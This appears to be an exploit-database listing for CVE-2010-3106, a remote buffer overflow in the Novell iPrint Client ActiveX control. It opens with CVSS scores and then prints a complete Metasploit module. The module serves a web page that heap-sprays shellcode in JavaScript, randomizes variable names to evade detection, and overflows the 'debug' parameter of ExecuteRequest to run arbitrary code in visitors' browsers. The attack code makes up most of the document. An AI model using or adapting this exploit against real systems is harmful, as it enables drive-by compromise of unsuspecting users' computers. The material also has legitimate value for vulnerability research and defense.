Novell iPrint Client ActiveX Control 'debug' Buffer Overflow Exploit

2010.09.23
Credit: Trancer
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # novelliprint_executerequest_dbg.rb # # Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework # # Exploit successfully tested on the following platforms: # - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2 # # ienipp.ocx version tested: # File Version: 5.3.2.0 and 5.4.0.0 # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C # RegKey Safe for Script: True # RegKey Safe for Init: True # KillBitSet: False # # References: # - CVE-2010-3106 # - OSVDB 66960 # - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs # - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit # - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis # - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control debug Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40. When sending an overly long string to the 'debug' parameter in ExecuteRequest() property of ienipp.ocx an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer <mtrancer[at]gmail.com' ], 'Version' => '$Revision:$', 'References' => [ [ 'CVE', '2010-3106' ], [ 'OSVDB', '66960'], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ], # Aaron Portnoy, TippingPoint DVLabs [ 'URL', 'http://www.exploit-db.com/exploits/15001/' ], # MOAUB #14 ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ] ], 'DisclosureDate' => 'Aug 04 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 500 offset = target['Offset'] # ActiveX parameters clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" op = "op-client-interface-version" dbg = "debug=" # Randomize the javascript variable names ienipp = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_op = rand_text_alpha(rand(100) + 1) j_dbg = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q|<html> <object classid='clsid:#{clsid}' id='#{ienipp}'></object> <script> var #{j_shellcode} = unescape('#{shellcode}'); var #{j_nops} = unescape('#{nops}'); var #{j_headersize} = 20; var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length; while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}); var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace}); while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; var #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) { #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; } var #{j_ret} = ''; for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) { #{j_ret} += unescape('#{ret}'); } #{j_op} = "#{op}"; #{j_dbg} = "#{dbg}"; #{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret}); </script> </html>| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end

References:

http://dvlabs.tippingpoint.com/advisory/TPTI-10-06
http://download.novell.com/Download?buildid=ftwZBxEFjIg
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